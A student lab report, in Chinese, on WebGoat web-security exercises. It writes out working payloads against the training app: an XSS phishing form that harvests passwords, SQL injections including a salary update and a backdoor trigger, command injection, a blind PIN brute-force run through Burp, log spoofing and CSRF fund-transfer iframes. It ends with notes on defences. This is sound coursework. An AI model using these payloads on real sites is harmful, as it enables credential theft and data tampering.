20155229《網絡對抗技術》Exp9:Web安全基礎
實驗內容
- Webgoat實踐下相關實驗。
實驗步驟
WebGoat: Webgoat是OWASP組織研究出的一個專門進行web漏洞實驗的應用品臺,這個平臺裏包含了web中常見的各種漏洞,例如:跨站腳本攻擊、sql註入、訪問控制、隱藏字段、Cookie等;
- 輸入
java -jar webgoat-container-7.0.1-war-exec.jar
命令打開WebGoat
- 在瀏覽器上對WebGoat進行訪問。
- 地址
localhost:8080/WebGoat
Cross-Site Scripting (XSS)
Phishing with XSS(釣魚攻擊)
- 在
search
部分填寫一個頁面,用於釣魚
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>please input your information here:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
點擊search後
隨便輸入用戶名和密碼
登陸後,會發現 頁面填寫的信息已經被捕獲並且反饋回來顯示在頁面上。。
Stored XSS Attacks
XSS攻擊代碼存儲於數據庫中,每次當用戶打開此網頁時便會執行,危害大,常用語留言板,每次當用戶查看留言信息時即觸發。導致用戶訪問時載入非預期的頁面或內容。
在Title中隨便輸入
在Message中輸入
<script>alert(" you have been attacked by tvxq !!");</script>
- 點擊
submit
創建帖子後:
- 點擊上面的連接,攻擊成功。
Reflected XSS Attacks(反射型XSS)
- 非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
- 當未驗證的用戶輸入用在HTTP響應時會發生XSS。在一個反射XSS攻擊中,攻擊者可以使用攻擊腳本制造一個URL,然後提交到另一個網站、發郵件或讓受害者點擊。
Injection Flaws
Command Injection
命令註入攻擊對任何一個以參數驅動的站點來說都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能造成大範圍的損害,危及系統安全。盡管這類風險數目令人難以置信,互聯網中的系統很容易受到這種形式的攻擊。
啟動WebScarab。在課程頁面的下拉列表中任意選擇一個頁面,然後點“View"
- 在所請求的頁面處添加
"&netstat -an & ipconfig"
。然後再點擊view進行查看。
- 查看到網絡端口使用的情況和IP地址。
Numeric SQL Injection(數字型SQL註入)
- 在station字段中註入特征字符,能組合成新的SQL語句。
SELECT * FROM weather_data WHERE station=[station]
下面的表單允許用戶查看天氣數據。通過註入SQL字符串的方式查看所有的天氣數據
選擇一個城市,點“GO”
在編號後面添加“or 1=1”,確定
- 添加後點擊GO,就能夠看到所有城市的天氣數據。
日誌欺騙(Log Spoofing)
這種攻擊時在日誌文件中愚弄人的眼睛,攻擊者可以利用這種方式清除他們在日誌中的痕跡。
在Username輸入
fyh%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符。
- 如圖,攻擊成功。
String SQL Injection
LAB: SQL Injection(SQL註入)
Stage1:String SQL Injection
使用SQL註入繞過認證。
- 以用戶Neville登錄,在密碼欄中輸入
‘ or 1=1 --
進行SQL註入,但是登錄失敗。 使用inspect element查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多只允許輸入8個字符,將8改為40
則可以登陸成功。
Stage3:Numeric SQL Injection
該課程的目的是通過註入語句,瀏覽到原本無法瀏覽的信息。通過一個普通員工的賬戶,瀏覽其BOSS的賬戶信息。
點擊ViewProfile瀏覽員工信息
- 將員工信息的value值改為
101 or 1=1 order by salary desc --
- 這樣根據工資高低的排名,老板的信息就會被排到第一個。
Database Backdoors(數據庫後門)
- 輸入101,得到了該用戶的信息:
- 輸入的語句沒有驗證,很容易進行SQL註入。若要執行兩個語句,中間需要用分號分隔。輸入註入語句
101;update employee set salary=90000
。
- 使用以下查詢條件,添加觸發器:
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
Blind Numeric SQL Injection(數字型盲註入)
- 目標是找到pins表中cc_number字段值為1111222233334444的記錄中pin字段的數值。pin字段類型為int,整型。
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
查看pin數值是否大於10000
一直嘗試 5000、2500,到1250發現提示變為
賬戶有效
然後嘗試2000、2250等
打開BurpSuite,設置代理proxy
的options
將端口號改為5229,點擊add,ok
- 設置瀏覽器的代理,打開瀏覽器右側的“更多”,依次點擊preference->advanced->natwork->settings,選擇下圖所示代理,端口號為自己剛剛設置的端口號。
當於將burpsuite當成中間服務器,每個數據包都流過它。。返回題目,點擊go,返回BurpSuite,已經抓好包。
在Positions中,選擇Sniper模式,在Payloads中,選擇type類型為number,然後設置變化範圍2250-2500,並設置步長為1,在Options中,選擇Start attack開始攻擊。
找到數據包大小變化的值為2364
在WebGoat中帶入2364,正確。
CSRF
Cross Site Request Forgery(CSRF)
- 可以通過在右邊插入的參數中找到“屏幕”和“菜單”值來構建鏈接。當時被認證的CSRF郵件的收件人將轉移他們的資金。當這一課的攻擊成功時,左邊的菜單旁邊出現一個綠色的復選標記。
在message中輸入
<img src=‘attack?Screen=273&menu=900&transferFunds=5000‘ width=‘1‘ height=‘1‘>
screen的值和menu的值是由上圖得到的。然後通過寬高設置成1像素,隱藏掉這個圖片。
- 提交後會在消息列表中看到新的消息,點擊後
- 會加載下面這條消息,達到CSRF攻擊的目的。
CSRF Prompt By-Pass
- 在Title輸入:5229
- 在Message輸入:
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
- 得到如下結果:
實驗後問題回答
(1)SQL註入攻擊原理,如何防禦
原理:
利用現有應用程序,將惡意的SQL命令註入到後臺數據庫引擎執行的能力。通過在Web表單中輸入惡意SQL語句得到一個存在安全漏洞的網站上的數據庫,最終達到欺騙服務器執行惡意的SQL命令。
防禦:
以SQL註入為例,可以通過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入作為一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入作為一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。
(2)XSS攻擊的原理,如何防禦
原理:
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁註入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列
表,然後向聯系人發送虛假詐騙信息,可以刪除用戶的日誌等等。
防禦:
- 在表單提交或者url參數傳遞前,對需要的參數進行過濾。
- 過濾用戶輸入的檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、”(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。嚴格控制輸出
(3)CSRF攻擊原理,如何防禦
原理:
CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者並不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器.
防禦:
- 驗證HTTP Referer字段。
- 在請求地址中添加token並驗證。
- 在HTTP頭中自定義屬性並驗證。
實驗總結與體會
- 這次實驗是在上一個實驗的基礎上更加深入的理解SQL和XSS攻擊,雖然攻擊的方法多,但是都是很有意思的攻擊方法,有機會再試試沒做過的題目。
20155229《網絡對抗技術》Exp9:Web安全基礎